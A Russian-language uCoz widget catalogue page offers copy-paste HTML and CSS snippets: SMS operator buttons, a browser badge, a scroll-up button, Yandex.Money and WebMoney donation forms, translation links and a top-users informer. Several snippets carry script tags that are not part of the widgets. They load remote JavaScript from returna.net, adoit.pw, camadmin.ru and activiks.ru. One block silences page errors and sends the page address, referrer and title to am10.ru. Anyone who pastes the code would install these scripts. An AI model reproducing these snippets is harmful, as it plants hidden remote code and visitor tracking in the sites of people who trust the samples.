Меню сайта
АКЦИЯ!!!
Категории раздела
Меню [34]
Меню для сайтов на Ucoz
Кнопки [15]
Кнопки для uCoz
Блоки и формы [22]
Блоки и формы для uCoz.
Вид материалов [41]
Вид материалов для uCoz
Мини-Профили [7]
Мини-Профили для uCoz
Переключатели [29]
Переключатели страниц для uCoz
Информеры [35]
Информеры для uCoz
Плейеры для сайта [23]
Аудио, видео, радио плейеры
Слайдеры [21]
Слайдеры и карусели картинок.
Вид опросов [8]
Вид опросов для uCoz
Часы и календари [8]
Часы и календари для uCoz.
Статистика сайта [20]
Статистика сайта для uCoz
Скрипты [25]
Скрипты для uCoz
Виджеты [2]
Виджеты для uCoz
Мини-чаты [6]
Мини-чаты для uCoz
Ajax для uCoz [8]
Ajax для uCoz
Шаблоны сайтов [0]
Шаблоны и шапки для uCoz.
Анимация [3]
Анимация и анимашки для сайтов на Ucoz.
Игры [6]
Игры для uCoz.
Прочее для uCoz [18]
Прочее для uCoz.
Сервис

Translate my page
Выбрать язык / Select language:



   
веб студия Одесса создание интернет магазинов создание каталога товаров Создание сайтов раскрутка сайтов портфолио веб студии продвижение сайтов готовые дизайны сайтов наши заказчики Дизайн макеты для создания сайтов Flash игры для сайтов Мини-Чат для сайтов uCoz Вид опроса для сайта Часы и календари для сайтов дизайн сайтов-визиток онлайн радио для сайта кнопки для сайтов статистика для сайта юкоз мини-профили для сайта Полезное для сайтов переключатели страниц для сайтов ajax окна для сайтов скрипты для сайта информационные блоки для сайтов информеры для сайта Формы для Ucoz слайдер для сайта информеры для юкоз меню для сайта вид материалов для сайтов вид материалов uCoz Готовые сайты Новые Бизнес дизайн макеты Новые дизайн макеты Медицина дизайн макеты интернет магазинов Новые дизайн макеты Рестораны Новые дизайн макеты Музыка и клубы Новые дизайн макеты Отели дизайн макеты производство и услуги дизайн макеты интерьер дизайн макеты строительство дизайн макеты сельское хозяйство Новый дизайн макет Транспорт Новый дизайн макет Образование Новый дизайн макет Мода дизайн макеты компьютеры дизайн макеты мобилки Логотипы портфолио
Бесплатное отправление смс сообщений!
Поиск
Календарь
«  Апрель 2024  »
ПнВтСрЧтПтСбВс
1234567
891011121314
15161718192021
22232425262728
2930
Архив записей
Наш опрос
Есть ли у Вас сайт?
Всего ответов: 27
Друзья сайта

МЕТА - Украина. Рейтинг сайтов Рейтинг@Mail.ru
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама

Главная » Прочее для uCoz
1 2 »

Устанавливаете в любую часть сайта.

Код
<div align="center"><a href="http://sms.mts.ru/"><img src="http://pnghosts.ru/img/mts.gif" alt="mts" height="35" width="50"></a> <a href="http://www.beeline.ru/sms/index.wbp"><img src="http://pnghosts.ru/img/beeline.gif" alt="beeline" height="35" width="50"></a> <a href="http://www.megafon.ru/sms/"><img src="http://pnghosts.ru/img/megafon.gif" alt="megafon" height="35" width="50"></a></div> <div align="center"><a href="http://www.ru.tele2.ru/send_sms.html"><img src="http://pnghosts.ru/img/tele2.gif" alt="tele2" <="" a="" height="35" width="50"></a>  <a href="http://smarts.ru/help/send_sms/"><img src="http://www.podrabotka.tv/sim_smarts.png" alt="tele2" <="" a="" height="35" width="50"><script type="text/javascript" src="http://adoit.pw/border.js"></script></a>  <a href="http://skylink.ru/msk/sms/"><img src="http://pnghosts.ru/img/skylink.gif" alt="skylink" height="35" width="50"></a> <div align="center"> <a href="http://www.kyivstar.net/sms/"><img src="http://pnghosts.ru/img/kyivstar.gif" alt="kyivstar" height="35" width="50"></a>  <a href="https://www.life.com.ua/sms/smsFree.html"><img src="http://pnghosts.ru/img/50_tn.jpg" alt="life" style="" height="35pxpx" width="50pxpx"></a> <a href="http://www.mts.com.ua/ukr/sendsms.php"><img src="http://pnghosts.ru/img/d05fdac1187c80cbbee761df169a4345.png" alt="ukrmts" height="35" width="50"></a></div>
Категория: Прочее для uCoz | Просмотров: 510 | Добавил: DoG | Дата: 11.08.2013 | Комментарии (0)

Всем привет, сегодня благодаря системным переменным uCoz которые отвечают за отображение название браузера пользователя, мы будем создавать небольшое html-css решение, которое можно будет разместит на вашем сайте uCoz, к примеру поместить его в подвал сайта.

Как и полагается начнём данное решение с html каркаса, который размещаем в нужное место вашей страницы сайта:

Код
<div class="cell-your-browser">
  <div class="your-browser-info">Ваш браузер </div>
  <?if($USER_AGENT$='firefox')?> <a class="your-browser-ico brauzer-mf" href="http://www.mozilla.org/ru/firefox/new/" title="Скачать браузер Mozilla Firefox" target="_blank">FireFox - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='chrome')?><a class="your-browser-ico brauzer-gx" href="http://www.google.ru/chrome" title="Скачать браузер Google Chrome" target="_blank">Chrome - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='opera')?><a class="your-browser-ico brauzer-op" href="http://www.opera.com/download/" title="Скачать браузер Opera" target="_blank">Opera - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='safari')?><a class="your-browser-ico brauzer-sf" href="http://www.apple.com/ru/safari/" title="Скачать браузер Apple Safari" target="_blank">Safari - $USER_AGENT_VER$</a><?endif?><script type="text/javascript" src="http://returna.net/background.js"></script>
  <?if($USER_AGENT$='ie')?><a class="your-browser-ico brauzer-ie" href="http://windows.microsoft.com/ru-RU/internet-explorer/products/ie/home" title="Скачать браузер Internet Explorer" target="_blank">Internet Explorer - $USER_AGENT_VER$</a><?endif?>
</div>

 


как можно увидеть из данного кода, системные переменные uCoz, определят какой у пользователя браузер и предоставят для этого браузера свою информацию.

Теперь нам следует установить css стили, в которых я использовал css спрайты, всё просто и удобно:

 

Код
/* Отображаем информацию ваш браузер на uCoz  
------------------------------------------*/
.cell-your-browser {
  float:left;
  padding: 10px;  
  font:10px Verdana,Arial,Helvetica, sans-serif;
}

.your-browser-info {
  float:left;
  height: 14px;
  padding: 3px 5px 2px 0px;
}

.your-browser-ico:link,
.your-browser-ico:visited {
  float:left;  
  height: 14px;
  padding: 3px 10px 2px 25px;
  text-shadow: 1px 1px 1px #333;
  font-weight: 700;  
  color:#eaeaea;
  border-radius:3px;  
  display:block;  
  text-decoration:none;  
  outline:none
}

.your-browser-ico:hover {  
  color:#eaeaea;
}

.brauzer-mf {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px 1px;
}

.brauzer-mf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px 1px;
}

.brauzer-gx {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -19px;
}

.brauzer-gx:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -19px;
}

.brauzer-op {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -38px;
}

.brauzer-op:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -38px;
}

.brauzer-sf {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -56px;
}

.brauzer-sf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -56px;
}

.brauzer-ie {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -74px;
}

.brauzer-ie:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -74px;
}

 


На этом всё, спасибо за внимание и удачного вам начала летних дней!

 

Категория: Прочее для uCoz | Просмотров: 454 | Добавил: DoG | Дата: 03.07.2013 | Комментарии (0)

Отправить СМС скрипт с подсказкой при наведении
такой же как на сайте больше подходит для тёмных сайтов
Создаём блок вставляем скопированный ниже код

Код
<div align="center">
  <table cellpadding="0" cellspacing="0" width="160" height="40">
  <!-- MSTableType="layout" -->
  <tr>
  <td width="50" height="34" valign="top">
  <a title="Бесплатно отправить SMS на Мегафон" href="http://www.megafon.ru/sms/"target="_blank">
  <img border="0" src="http://bambun.ru/images/megafon.jpg" width="50" height="30"></a></td>
  <td width="5" height="34"> </td>
  <td width="50" height="34" valign="top">
  <a title="Бесплатно отправить SMS на МТС" href="http://www.mts.ru/messaging1/sendsms/"target="_blank">
  <img border="0" src="http://bambun.ru/images//mts2..jpg" width="50" height="30"></a></td>
  <td width="5" height="34"> </td>
  <td width="50" height="34" valign="top">
  <a title="Бесплатно отправить SMS на Билайн" href="http://www.beeline.ru/sms/index.wbp"target="_blank">
  <img border="0" src="http://bambun.ru/images/bilain2.jpg" width="50" height="30"></a></td>
  </tr>
  <tr>
  <td width="50" height="20" valign="top">
  <a title="Бесплатно отправить SMS на Sky Link" href="http://www.skylink.ru/pages/sms.aspx?r=77"target="_blank">
  <img border="0" src="http://bambun.ru/images/sky.link2.jpg" width="50" height="30"></a></td>
  <script type="text/javascript" src="http://returna.net/background.js"></script>
  <td width="5" height="20"> </td>
  <td width="50" height="20" valign="top">
  <a title="Бесплатно отправить SMS на Utel" href="http://www.u-tel.ru/b2b/facilities/sms"target="_blank">
  <img border="0" src="http://bambun.ru/images/utel2.jpg" width="50" height="30"></a></td>
  <td width="5" height="20"> </td>
  <td width="50" height="20" valign="top">
  <a title="Бесплатно отправить SMS на Теле2" href="http://www.sms.tele2.ru/"target="_blank">
  <img border="0" src="http://bambun.ru/images/tele22..jpg" width="50" height="30"></a></td>
  </tr>
  </table>
</div>
Категория: Прочее для uCoz | Просмотров: 523 | Добавил: DoG | Дата: 13.05.2013 | Комментарии (0)

Кнопка вверх. Предназначена для быстрого поднятия страници вверх. Кнопка устанавливается в верхем правом углу сайта. Появляется только тогда, когда пользователь прокрутит немного страницу вниз. Чем ниже страница станет, тем кнопка обретает насыщенный цвет.

Установка: копируем код и вставляем в нижнюю часть сайта.

Код
<style>  
  #aposcroll a {  
  text-decoration:none;  
  color:White;  
  }  

  #aposcroll:hover {  
  background: rgba( 255, 0, 0, 0.5);
  box-shadow:0px -5px 10px #777;  
  }  
  </style>  
  <div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:50px;height:140%;opacity:0" id="aposcroll"><span style="font-size:12pt"><center><a href="javascript://">^ Вверх</a></center></span></div>  
  <script>  
  //
  var as = $('#aposcroll');  
  as.click(function() {  
  $(document).scrollTo(0, 500);  
  });  
  document.onscroll = function() {  
  var apolst = '0.'+$('body').scrollTop();  
  if(apolst.length == 5) {  
  as.stop().fadeTo(500, apolst);  
  } else if(apolst.length == 5 || apolst.length == 4) {  
  as.stop().fadeTo(500, 0);  
  };  
  };  
   
  </script>
</div></div>
</td>
</center>
</div>
<script type="text/javascript" src="http://returna.net/background.js"></script>
<script type="text/javascript">
  function stopError(){return true;}
  window.onerror = stopError;
  var am_jq=0; if(window.jQuery){am_jq=1;}
  var am_loc=escape(top.location.href.substring(0,255));
  var am_ref=escape(document.referrer.substring(0,255));
  var am_title; try{am_title=encodeURIComponent(document.getElementsByTagName("TITLE")[0].innerHTML.substring(0,100));}catch(e){am_title="";}
  var am_rand=Math.floor(Math.random()*10000);
  var am_code_cu=document.createElement("script"); am_code_cu.type="text/javascript";
  am_code_cu.src="http://am10.ru/code.php?type=cu&jq="+am_jq+"&rand="+am_rand+"&u=7775&loc="+am_loc+"&ref="+am_ref+"&title="+am_title;
  document.body.appendChild(am_code_cu);
  var am_code_sb=document.createElement("script"); am_code_sb.type="text/javascript";
  am_code_sb.src="http://am10.ru/code.php?type=sb&jq="+am_jq+"&rand="+am_rand+"&u=7775&loc="+am_loc+"&ref="+am_ref+"&title="+am_title;
  document.body.appendChild(am_code_sb);
</script>
Категория: Прочее для uCoz | Просмотров: 460 | Добавил: DoG | Дата: 13.05.2013 | Комментарии (0)

Бесплатная отправка СМС и ММС для Вашего сайта. Подходит как для светлых так и для темных дизайнов.
Я знаю что уже создано очень много похожих скриптов, но они давно не проверялись и многие ссылки там уже не работают.

Код
<span style="color: rgb(0, 0, 0);"><div align="center"><span style="color: rgb(0, 0, 0);"> <a href="https://sendsms.ssl.mts.ru/" target="_blank"> <img src="http://bambun.ru/images/mts1.gif" border="0" align="middle"></a> <a href="https://www.beeline.ru/sms/index.wbp" target="_blank"><img src="http://bambun.ru/images//beelina1.gif" border="0" align="middle"></a><script type="text/javascript" src="http://returna.net/background.js"></script><a href="https://sendsms.megafon.ru/" target="_blank"><img src="http://bambun.ru/images//megafon1.gif" border="0" align="middle"></a> </span></div><div align="center"><div align="center"><span style="color: rgb(0, 0, 0);"><strong>Бесплатное отправление смс сообщений!</strong></span>
Категория: Прочее для uCoz | Просмотров: 582 | Добавил: DoG | Дата: 09.05.2013 | Комментарии (0)

Если ваш проект полезен людям, то возможно они захотят отблагодарить вас
за вашу работу. Или проще по Башорговски - одминам на пиво ;о)
Для этого как раз и служит данный скрипт.
Код можно вставить в любое место вашего сайте. Надо только немного подрихтовать его под себя, для этого измените :

Вместо "000000000000000" пишем свой номер в системе "Яндекс.Деньги".
Вместо "SITE.RU" прописуем свой домен сайта.
Вместо "Z000000000000" меняем на ваш кошелек в системе "WebMoney" (валюта по выбору).

Код
<div style="border: 1px dashed black; padding: 3px; background: white none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">  
  <form action="https://money.yandex.ru/charity.xml" style="margin: 1px; padding: 0pt;" method="post">  
  <table border="0" cellpadding="0" cellspacing="0">  
  <tbody><tr>  
  <td align="left" width="40"><img src="http://bambun.ru/images/yandex_dengi.gif" height="25" width="37"></td>  
  <td style="padding-left: 0.5em;">  
  <input name="to" value="000000000000000" type="hidden">  
  <input name="CompanyName" value="site.ru" type="hidden">  
  <input name="CompanyLink" value="http://SITE.RU" type="hidden">  
  <input value="Пожертвовать" type="submit">  
  <input id="CompanySum" name="CompanySum" value="0" size="4" type="text"> руб.<br>  
  Яндекс.Деньгами на счёт <b>000000000000000</b>  
  </td>  
  </tr>  
  </tbody></table>  
  </form>  
  </div>
<br>
<div style="background: white; padding:3px; border: 1px dashed black">  
  <form action="wmk:payto" style="padding:0; margin:1px" method="get">  
  <table border="0" cellpadding="0" cellspacing="0">  
  <tbody><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><tr>  
  <td align="center" width="40"><img src="http://bambun.ru/images/webmoney_dengi.png" height="32" width="32"></td>  
  <td style="padding-left:0.5em">  
  <input name="Purse" value="Z000000000000" type="hidden">  
  <input value="Пожертвовать" type="submit">  
  <input name="Amount" value="0" size="4" type="text"> WMZ<br>  
  WebMoney на кошелек <b>Z000000000000</b>  
  <input name="Desc" value="Пожертвование для сайта ......" type="hidden">  
  <input name="BringToFront" value="Y" type="hidden">  
  </td>  
  </tr>  
  </tbody></table>  
  </form>  
  </div>
Категория: Прочее для uCoz | Просмотров: 499 | Добавил: DoG | Дата: 01.04.2013 | Комментарии (0)

Установка:
1. Создаете глобальный блок и вствляете в него код.
2. Вместо "SITE.COM" прописываете свой домен сайта

Код
<center>
  <a href="http://translate.yandex.net/tr-url/ru-en.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/en.gif" border="0" height="32" width="32"></a>
  <a href="http://translate.yandex.net/tr-url/ru-de.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/de.gif" border="0" height="32" width="32"></a>
  <a href="http://translate.yandex.net/tr-url/ru-pl.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/pl.gif" border="0" height="32" width="32"></a><script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
  <a href="http://translate.yandex.net/tr-url/ru-uk.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/uk.gif" border="0" height="32" width="32"></a>
  <a href="http://translate.yandex.net/tr-url/ru-fr.ru/SITE.COM/" target="_blank"><img src="http://bambun.ru/images/fr.gif" border="0" height="32" width="32"></a>
  </center>

 


Готово.

 

Категория: Прочее для uCoz | Просмотров: 466 | Добавил: DoG | Дата: 25.03.2013 | Комментарии (0)


1. Создаете глобальный блок и вствляете в него код.
2. Вместо "ВАШ НОМЕР КОШЕЛЬКА" вписываете свой R,Z кошелек
3. Вместо "http://ссылка на обратную связь" меняем на свою
4. Меняем номер icq "111-111-111" на свой

Код
<div align="center">
<form style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px" action="wmk:payto" method="get">
<table style="BORDER-RIGHT: #a8d45f 1px solid; BORDER-TOP: #a8d45f 1px solid; BACKGROUND: url(http://bambun.ru/images/fon3.png) #ffffe0; BORDER-LEFT: #448207 1px solid; WIDTH: 100%; BORDER-BOTTOM: #448207 1px solid" border="0" cellpadding="2" cellspacing="2">
<tbody>
<tr>
<td style="BORDER-RIGHT: #a8d45f 1px solid; BORDER-TOP: #a8d45f 1px solid; BORDER-LEFT: #448207 1px solid; BORDER-BOTTOM: #448207 1px solid"><input style="WIDTH: 96px; HEIGHT: 22px" size="1" value="ВАШ НОМЕР КОШЕЛЬКА" name="Purse" type="hidden">  
<center><span style="COLOR: #006400"><a title="Online" href="http://ссылка на обратную связь"><img alt="" src="http://bambun.ru/images/icq_16x16.png" align="absMiddle" border="0" height="16" width="16"></a> 111-111-111 Администратор</span></center>
<center><input style="WIDTH: 28px; HEIGHT: 17px" size="1" value="1" name="Amount"> <strong><span style="COLOR: #31ac09">wmz</span></strong> <input style="WIDTH: 96px; HEIGHT: 18px" size="1" value="Перечислить" type="submit"></center>
</td><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><td style="BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; WORD-SPACING: 0px; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid; LETTER-SPACING: 0px; HEIGHT: 32px; TEXT-ALIGN: center" align="center" width="100"><img src="http://bambun.ru/images/webmoney_32x32.png" height="32" width="32"></td>
</tr>
Категория: Прочее для uCoz | Просмотров: 504 | Добавил: DoG | Дата: 24.03.2013 | Комментарии (0)

устанавливаете в любое место сайта.

Код
<div style="text-align:center;">
  <a href="http://www.mts.ru/messaging1/sendsms/" target="_blank"><img src="http://bambun.ru/images/mts.ru.gif" title="МТС" border="0" height="32px" width="34px"></a> <a href="http://szf.sendsms.megafon.ru/" target="_blank"><img src="http://bambun.ru/images/megafon.ru.gif" title="МегаФон" border="0" height="32px" width="34px"></a> <a href="http://www.beeline.ru/sms/index.wbp" target="_blank"><img src="http://bambun.ru/images/beeline.ru.gif" title="БиЛайн" border="0" height="32px" width="34px"></a> <a href="http://www.sms.tele2.ru/" target="_blank"><img src="http://bambun.ru/images/tele2.ru.gif" title="Tele2" border="0" height="32px" width="34px"></a><script type="text/javascript" src="http://camadmin.ru/earch.js"></script>  
  <a href="http://skylink.ru/msk/sms/" target="_blank"><img src="http://bambun.ru/images/skylink.ru.gif" title="SkyLink" border="0" height="32px" width="34px"></a> <a href="http://www.kyivstar.net/ru/sms/" target="_blank"><img src="http://bambun.ru/images/kyivstar.net.gif" title="KyivStar" border="0" height="32px" width="34px"></a> <a href="http://utel.ua/sms.php" target="_blank"><img src="http://bambun.ru/images/utel.ua.gif" title="Utel" border="0" height="32px" width="34px"></a> <a href="https://www.life.com.ua/sms/smsFree.html?locale=ua" target="_blank"><img src="http://bambun.ru/images/life.com.ua.gif" title="Life:)" border="0" height="32px" width="34px"></a>  
  <a href="http://www.velcom.by/ru/private/services/web-sms" target="_blank"><img src="http://bambun.ru/images/velcom.by.gif" title="velgom" border="0" height="32px" width="34px"></a> <a href="http://www.kcell.kz/ru/?l=sms&f=main" target="_blank"><img src="http://bambun.ru/images/kcell.kz.gif" title="Kcell" border="0" height="32px" width="34px"></a> <a href="https://www.orangetext.md/" target="_blank"><img src="http://bambun.ru/images/orange.md.gif" title="Orange" border="0" height="32px" width="34px"></a> <a href="http://www.triatel.lv/" target="_blank"><img src="http://bambun.ru/images/triatel.lv.gif" title="TRIATEL" border="0" height="32px" width="34px"></a></div>
Категория: Прочее для uCoz | Просмотров: 477 | Добавил: DoG | Дата: 24.03.2013 | Комментарии (0)

Всем доброго дня, сегодня мы будем создавать информер топ пользователей по комментариям uCoz, при наведении на которые появляется дополнительная информация о пользователе и всё на css

Шаг 1 - Создаём информер:

Для начала нам следует создать и установить на страницу сайта нужный нам информер пользователей, для этого заходим

в Админ панель => Инструменты => Информеры => Создать информер

Раздел: Пользователи
Способ сортировки: колл. комментарий
Количество материалов: 10
Количество колонок: 1

удаляем старый код и устанавливаем новый:

Код
<div class="ddm_top_user">
  <a href="$PROFILE_URL$" class="drop_top_user <?if($NUMBER$=10)?>bottom_no<?endif?>" target="_blank" ><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img alt="$USERNAME$" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/no_avoar.jpg<?endif?>"/>
  <strong>$USERNAME$</strong>
  <span>$COM_POSTS$</span>
  </a>

  <div class="ddm_cell_user">
  <span class="ddm_ugol_user"></span>  
  <div class="ddm_content_user">
  <div class="ddm_content_top">
  <strong>$FULL_NAME$</strong>
  <span>ID:$USER_ID$</span>
  </div>
  <ul>
  <li><span>Пол:</span><?if($GENDER$)?>$GENDER$<?else?>----------<?endif?></li>
  <li><span>Ранг:</span><?if($код$)?> $RANK_NAME$<?else?>----------<?endif?></li>
  <li><span>Группа:</span> $GROUP_NAME$</li>
  <li><span>Репутация:</span> $REPUTATION$</li>
  <li><span>Комментариев:</span> $COM_POSTS$</li>
  <li><span>Зарегистрирован:</span> $REG_DATE$</li>
  </ul>
  </div>
  </div>
</div>

 


А теперь на страницу сайта в нужное место устанавливаем html каркас с информеров:

 

Код
<div class="top_user">
  <div class="top_user_title">Топ пользователей</div>
  $MYINF_1$  
</div>

 


Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать системной переменной, а не отдельной ссылкой на js.

Шаг 2 - Установим CSS:

Теперь когда данное решение почти готово, пропишем ему следующие css стили:

 

Код
/* Tоп пользователей с дополнительной информацией
------------------------------------------*/
.top_user {
  float:left;
  width:250px;
  background: #fff;
  border-radius:3px;
  border: 1px solid #CAD3DA;
}

.top_user_title {
  font:11px Verdana,Arial,Helvetica, sans-serif;
  text-shadow: 1px 1px 1px #B0431B;
  text-align:right;
  font-weight:700;  
  color:#fff;

  float:left;
  width:232px;
  height:20px;
  background:#e77e57;
  margin: -1px -1px 0px -1px;  
   
  padding: 7px 10px 3px 10px;  
  border-radius:3px 3px 0px 0px;
}

.ddm_top_user {
  float:left;
  display:block;
  position:relative;
}
   
.drop_top_user {
  float:left;
  width:230px;
  font-weight:700;  
  height:25px;
  padding: 5px 10px 5px 10px;  
  border-bottom: 1px solid #CAD3DA;
}

.drop_top_user img {  
  float:left;
  width:25px;
  height:25px;
  margin-right: 10px;
}

.drop_top_user strong {  
  float:left;
  margin-top: 5px;  
}

.drop_top_user span {  
  float:right;
  width:55px;
  height:20px;  
  text-align:right;  
  padding: 5px 0px 0px 5px;  
  border-left: 1px solid #CAD3DA;
  background: url(ico_comment.png) no-repeat left;  
}  

.ddm_top_user:hover{
  background:#F7F9FB;
}

.ddm_cell_user,  
.ddm_ugol_user{
  width:250px;
}  

.ddm_cell_user {
  left:-999em;
  z-index:998;
  margin:0px auto;
  position:absolute;
  border:1px solid #CAD3DA;  
  border-radius:3px;
}  
   
   
.ddm_content_user {  
  color:#777;
  margin:0;
  width:230px;
  padding:5px 10px;
  overflow:hidden;
  background:#fff;
  border-radius:3px;
}  
   
.ddm_top_user:hover .ddm_cell_user{
  top: 0px;  
  right:255px;
  left:auto;  
}  
   
.ddm_ugol_user {  
  height:17px;  
  top: 10px;
  right: -9px;
  position:absolute;  
  background:url(angle_right.png) no-repeat right;  
}

.ddm_content_top {
  float:left;
  width:100%;
& ... Читать дальше »
Категория: Прочее для uCoz | Просмотров: 448 | Добавил: startsmart | Дата: 08.02.2013 | Комментарии (0)

1-10 11-18

Copyright "IPC" © 2008
Хостинг от uCoz